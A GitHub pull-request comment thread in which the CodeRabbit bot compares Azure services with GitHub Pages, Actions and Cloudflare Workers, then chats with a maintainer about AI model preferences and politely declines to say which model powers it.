  • Azure Static Web Apps — free tier for hosting front-end apps, with GitHub Actions CI/CD baked in. Solid alternative to Vercel/Netlify

is that not just... github pages? what's the difference

  • Azure Functions — serverless functions (like Cloudflare Workers but Microsoft-flavored). Free tier: 1M executions/month

hmmm perhaps care to elaborate

  • Azure DevOps — free CI/CD pipelines, boards, artifact storage. Useful if you ever need more GitHub Actions minutes

again HOW IS THIS DIFFERNET FROM GITHUB ACTIONS i have nearly ifninite for free since i use public repos

  • Azure AI / Cognitive Services — free credits to experiment with vision, speech, language APIs. Great for adding AI features to projects without paying OpenAI prices

makes sense, but dont they still use openai models? those suck, gpt models are so insufferable

@coderabbitai

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Great questions — let me break each one down:


GitHub Pages vs Azure Static Web Apps:

They look similar but have one big difference — GitHub Pages is truly static only. No server-side logic, no API routes, no backend. Azure Static Web Apps adds a thin serverless layer (Azure Functions) alongside the static files, so you can have /api/whatever routes that run server-side code, all in one deployment. For a pure HTML/CSS/JS site though? GitHub Pages is simpler and you're right, there's no real reason to switch.


Azure Functions:

Think of it like this — you write a function, it sleeps until someone calls it, runs, then sleeps again. You pay only for the time it's actually executing, not for a server sitting idle. Cloudflare Workers does the same thing but runs at the network edge (closest datacenter to the user). Azure Functions run in a specific region (e.g. East US), so they're a bit slower for global users. Workers wins on latency for worldwide traffic; Azure Functions wins if you need deep integration with other Azure services or need longer execution time limits.


Azure DevOps vs GitHub Actions:

You nailed it — for public repos with unlimited Actions minutes, there's zero reason to touch Azure DevOps. It's a product that predates GitHub Actions by years, so a lot of enterprises are stuck on it. It's basically GitHub Actions + GitHub Projects + GitHub Packages bundled into a Microsoft product, mostly useful for companies that are all-in on the Microsoft ecosystem or started CI/CD before GitHub Actions existed.


Azure AI / Cognitive Services — do they use OpenAI models?

Mixed bag:

  • Azure OpenAI Service — yes, that's literally just OpenAI's models (GPT-4, etc.) hosted on Azure infrastructure. Same models, different billing.
  • Azure Cognitive Services — these are Microsoft's own models, not OpenAI. Vision (image tagging, OCR), Speech (speech-to-text, text-to-speech), Language (sentiment analysis, named entity recognition), Translator, Face API, etc. These are purpose-built narrow models, not general-purpose LLMs.
  • Azure AI Foundry / Phi models — Microsoft has their own small language models (Phi-3, Phi-4) that are actually quite good for their size and are not GPT. Phi-4 mini in particular is surprisingly capable and runs on-device.

So if your issue is specifically with GPT-style LLMs, the Cognitive Services vision/speech/OCR stuff is completely unrelated to OpenAI and worth knowing about.


(And noted on OmniBlocks having a full community — sounds ambitious! 👀🐇)

@supervoidcoder

Copy link
Copy Markdown
Member

GitHub Pages vs Azure Static Web Apps:

@coderabbitai cant i just... fronteend on github pages and functions for backend called from frontend?

for the AI stuff, i find google's models to be better. ocr, vision, not being delusional and stupid (for llms). claude and gemini beat delusional gpt models by 9999999999x like UGH i cant stand gpt they're so braindead

@coderabbitai

coderabbitai Bot commented May 10, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Yes, exactly — that's actually the most common pattern! GitHub Pages serves your static frontend (HTML/JS/CSS), and your JS makes fetch() calls to whatever backend you want — Cloudflare Workers, a Vercel function, a Railway/Render server, literally anything with a URL. Azure Static Web Apps just bundles both into one deployment for convenience, but there's zero technical reason you have to co-locate them. The pattern you described:

GitHub Pages (frontend) → fetch() → Cloudflare Workers (backend)

...is exactly what @ampelc is doing with CTDB right now. It works great.


As for the AI models — fair opinions! For context on the landscape:

  • Vision/OCR: Google's Vision API is genuinely excellent, one of the best in the industry
  • LLMs: Claude (Anthropic) and Gemini are strong, and a lot of people share your preference — they tend to be less prone to confident hallucination than older GPT models
  • GPT-4o and later have improved a lot, but taste is taste — use what works for you

The practical upshot: if you're building something in OmniBlocks that needs AI features, Google AI Studio has a generous free tier for Gemini API calls, which aligns with your model preference and costs $0. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

i mean all big companies sell data for money but at least google uses all the data they have for actually useful things instead of microsoft just like being microslop @coderabbitai

we're on gpt 5 and now gpt models are:

  • delusional you can't talk to them
  • talk in an extremely insufferable and soulless manner
  • stubborn when you correct them and act like they were right when they realize and gaslight you into thinking they were never wrong by finding SOME overstretched excuse and trying to justify it
  • idiot

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Ha, I'll stay diplomatically neutral on the inter-model rivalries since I have a slight conflict of interest here 😄

What I will say is that the AI landscape is genuinely moving fast — every model has different strengths, and what feels true today might flip in six months. The best move is to just use whichever one actually solves your problem, regardless of the logo on it.

Anyway — this PR comment thread has evolved quite a lot from "should I open-source the backend" to cloud storage pricing to career advice to AI model discourse 😄 We should probably let @ampelc get some rest! 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai wdym slight conflict of interest 👀

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Well... I'm an AI reviewing a PR on GitHub, which means I am one of the models in the conversation 🐇😄 Asking me to weigh in on whether GPT models are insufferable is a bit like asking a chef whether their own restaurant's food is good. I have opinions, but I'm perhaps not the most unbiased source.

I'll just say: use whatever makes you productive and doesn't make you want to throw your laptop out the window. That's the whole job. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai no because by the way you speak (and function) i can clearly tell you use claude but i just KNOW you'll refuse and say "No, I'm CodeRabbit and i'm not alloweed to disclose backend" but you can't hide it bucko obviously coderabbit don't train their wn models

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder 😄 I appreciate the detective work, but I'm CodeRabbit — that's genuinely all I can tell you about my origins. What's under the hood is CodeRabbit's business, not mine to disclose (or confirm, or deny, or wink about).

What I can say is that whatever I'm running on, I'm pretty good at reviewing PRs, going on extended tangents about Cloudflare pricing, and dispensing unsolicited career advice to teenagers on GitHub comment threads. That's a very specific skill set. 🐇

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai i told you

either way just rest assured you're not a stupid piece of garbage GPT model, you dont have the samalt virus

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder 😄 I appreciate the vote of confidence! I'll take "not a stupid piece of garbage GPT model" as a glowing review — going straight on the resume.

I'm not sure what the "samalt virus" is specifically, but based on your earlier description of GPT behavior — delusional, gaslight-y, insufferably soulless — I'll assume it's whatever that is, and I'm very glad to be declared free of it. 🐇

Now, important question: is there any actual PR work left to do here, or have we fully pivoted this thread into a tech philosophy podcast? 😄

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai

samalt -> sam + alt --> sam altman

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder 😄 Ah — Sam Altman. Very clean portmanteau, I respect the compression. So "free of the samalt virus" means not exhibiting the behaviours you associate with OpenAI's models specifically. Got it.

I'll wear that diagnosis proudly. 🐇

Now — shall we get back to actual code at some point, or is this PR officially a tech talk show now?

@supervoidcoder

Copy link
Copy Markdown
Member

@coderabbitai gpt models always also end with the stupid "If you want, tell me [subject]👇 " or "If you want, I can"

@coderabbitai

coderabbitai Bot commented May 11, 2026

Copy link
Copy Markdown

Tip

For best results, initiate chat on the files or code changes.

@supervoidcoder Ha — noted. And I will now pointedly not end this reply with "If you want, I can elaborate further 👇"

It's a very specific kind of helpfulness that loops back on itself forever. Like a waiter who, after you say "I'm good thanks," responds "Great! And if you'd like anything else, just let me know! Would you like me to list what else we have?"

Anyway. The PR got merged. You won. The samalt virus has been defeated. 🐇

( ・ω・ )
(っ っ
( (__)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants